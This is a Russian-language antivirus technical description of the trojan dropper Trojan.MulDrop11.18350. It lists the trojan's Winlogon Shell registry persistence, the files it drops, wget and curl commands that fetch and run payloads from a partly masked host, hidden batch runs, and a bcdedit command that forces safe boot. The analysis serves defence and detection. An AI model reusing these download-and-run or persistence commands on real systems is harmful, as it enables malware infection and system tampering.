Trojan.MulDrop11.18350

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,c.exe'

Изменения в файловой системе

Создает следующие файлы

%WINDIR%\a.bat
%WINDIR%\et.reg
%WINDIR%\ct.reg
%WINDIR%\at.reg
%WINDIR%\usw.reg
%WINDIR%\mgr_f.reg
%WINDIR%\mgr_n.reg
%WINDIR%\d.reg
%WINDIR%\e.reg
%WINDIR%\c.reg
%WINDIR%\c.bat
%WINDIR%\d.exe
%WINDIR%\c.exe
%WINDIR%\mt.reg
%WINDIR%\d.bat
%WINDIR%\b.bat
%TEMP%\is-883nh.tmp\_isetup\_isdecmp.dll
%TEMP%\is-883nh.tmp\_isetup\_setup64.tmp
%TEMP%\is-3r6ma.tmp\set-up.tmp
%WINDIR%\set-up.exe
%WINDIR%\curl\curl.exe
%WINDIR%\wget\bin\wget.exe
%WINDIR%\wget\bin\libssl32.dll
%WINDIR%\wget\bin\libintl3.dll
%WINDIR%\wget\bin\libiconv2.dll
%WINDIR%\wget\bin\libeay32.dll
%WINDIR%\s.txt
%WINDIR%\b.exe
%WINDIR%\y.txt

Удаляет следующие файлы

%WINDIR%\b.exe
%WINDIR%\c.reg

Сетевая активность

TCP

Запросы HTTP GET

http://88##.space/rs/dy/p2/sharemouse/b.bat
http://88##.space/rs/st/mt.reg
http://88##.space/rs/st/et.reg
http://88##.space/rs/st/ct.reg
http://88##.space/rs/st/at.reg
http://88##.space/rs/st/usw.reg
http://88##.space/rs/st/mgr_f.reg
http://88##.space/rs/st/mgr_n.reg
http://88##.space/rs/st/d.reg
http://88##.space/rs/st/e.reg
http://88##.space/rs/st/c.reg
http://88##.space/rs/st/c.bat
http://88##.space/rs/st/d.exe
http://88##.space/rs/st/c.exe
http://88##.space/rs/st/d.bat
http://88##.space/rs/st/b.exe
http://88##.space/curl/runi.php?su#################
http://88##.space/rs/st/y.txt

UDP

DNS ASK 88##.space

Другое

Ищет следующие окна

ClassName: 'RegEdit_RegEdit' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/c.reg" --referer="alpha"
'%WINDIR%\curl\curl.exe' "http://88##.space/curl/runi.php?su#################" --referer "alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/mt.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/et.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/ct.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/at.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/usw.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/mgr_f.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/mgr_n.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/d.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/e.reg" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/d.exe" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/c.exe" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/d.bat" --referer="alpha"
'%WINDIR%\b.exe'
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/b.exe" --referer="alpha"
'%TEMP%\is-3r6ma.tmp\set-up.tmp' /SL5="$A0210,4611573,140288,%WINDIR%\Set-up.exe"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/dy/p2/sharemouse/b.bat" --referer="alpha"
'%WINDIR%\set-up.exe'
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/c.bat" --referer="alpha"
'%WINDIR%\wget\bin\wget.exe' -c -P "%WINDIR%" "http://88##.space/rs/st/y.txt" --referer="alpha"
'<SYSTEM32>\cmd.exe' /c ""%WINDIR%\b.bat" "' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\a.bat" "' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%WINDIR%\a.bat" "
'%WINDIR%\syswow64\cmd.exe' /S /D /c" ver "
'%WINDIR%\syswow64\findstr.exe' /IL "5.1."
'<SYSTEM32>\cmd.exe' /c ""%WINDIR%\b.bat" "
'<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ShareMouse 4.0.48" /f /reg:32
'%WINDIR%\regedit.exe' /s %WINDIR%\c.reg
'<SYSTEM32>\bcdedit.exe' /set "{current}" safeboot "minimal"